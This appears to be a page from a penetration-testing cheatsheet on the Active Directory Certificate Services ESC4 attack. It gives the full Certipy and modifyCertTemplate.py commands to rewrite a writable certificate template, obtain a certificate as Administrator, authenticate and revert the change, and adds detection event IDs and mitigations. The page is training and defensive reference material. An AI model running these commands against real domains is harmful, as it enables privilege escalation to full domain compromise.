AD^:Active Directory

Attack #30 — ESC4 Template Write Permissions

ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a…

advancedupdated 2026-08-10Certipy

🟢 Attack #30 — ESC4: Template Write Permissions


📖 How It Works

ESC4 exploits overly permissive ACLs on certificate templates. If a low-privileged user has WriteProperty, WriteDACL, WriteOwner, or FullControl on a template object, they can modify that template’s configuration to make it vulnerable to ESC1 — enabling the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag, adding Client Authentication EKU, and removing approval requirements. Once modified, the attacker enrolls using the now-vulnerable template to get a certificate for any user.

The Attack Flow

1. Find a template where you have write permissions
2. Modify the template:
   - Enable ENROLLEE_SUPPLIES_SUBJECT (allows SAN specification)
   - Set EKU to Client Authentication
   - Disable Manager Approval
   - Disable Authorized Signatures
3. Request certificate with SAN = Administrator
4. Authenticate as Administrator
5. Revert template changes (cleanup)

⚙️ Prerequisites

RequirementDetail
Write permissions on templateWriteProperty, WriteDACL, WriteOwner, or FullControl
Enrollment rightsMust also be able to enroll for the template

💻 Full Commands

🔵 Enumerate Writable Templates

# ── Certipy ───────────────────────────────────────────────────────────────────
certipy find -u low_user@corp.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable -stdout
# Look for: ESC4 — template ACL allows modification

# ── modifyCertTemplate.py ─────────────────────────────────────────────────────
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -template VulnTemplate -get-acl

🔴 Modify Template → Convert to ESC1

# ── Certipy — modify template to be ESC1-vulnerable ──────────────────────────
# Save current config first:
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -save-old -dc-ip 10.10.10.10

# Modify to ESC1:
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -dc-ip 10.10.10.10 \
  -configuration ESC1

# ── Alternative: modifyCertTemplate.py ────────────────────────────────────────
python3 modifyCertTemplate.py corp.local/low_user:'Password1' -dc-ip 10.10.10.10 \
  -template VulnTemplate \
  -add enrollee_supplies_subject \
  -add client_authentication

🔴 Exploit as ESC1

# ── Request certificate with SAN = Administrator ─────────────────────────────
certipy req -u low_user@corp.local -p 'Password1' -ca CORP-CA \
  -template VulnTemplate -upn Administrator@corp.local -dc-ip 10.10.10.10

# ── Authenticate ──────────────────────────────────────────────────────────────
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

🔴 Cleanup — Revert Template

# ── Restore original template configuration ───────────────────────────────────
certipy template -u low_user@corp.local -p 'Password1' \
  -template VulnTemplate -dc-ip 10.10.10.10 -configuration VulnTemplate.json

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4899Security Log (CA)Certificate template modification
5136Security Log (DC)AD object modification (template object in CN=Certificate Templates)

🔗 Attack Chain Context

[ESC4] ──→ Write access on template → convert to ESC1 → domain compromise
         │
         ├──→ 🔗 Converts any writable template into ESC1
         ├──→ 📋 Always revert changes after exploitation
         └──→ 💀 Defeated by: restrict template ACLs, monitor 4899/5136

✅ Attack #30 — ESC4 complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.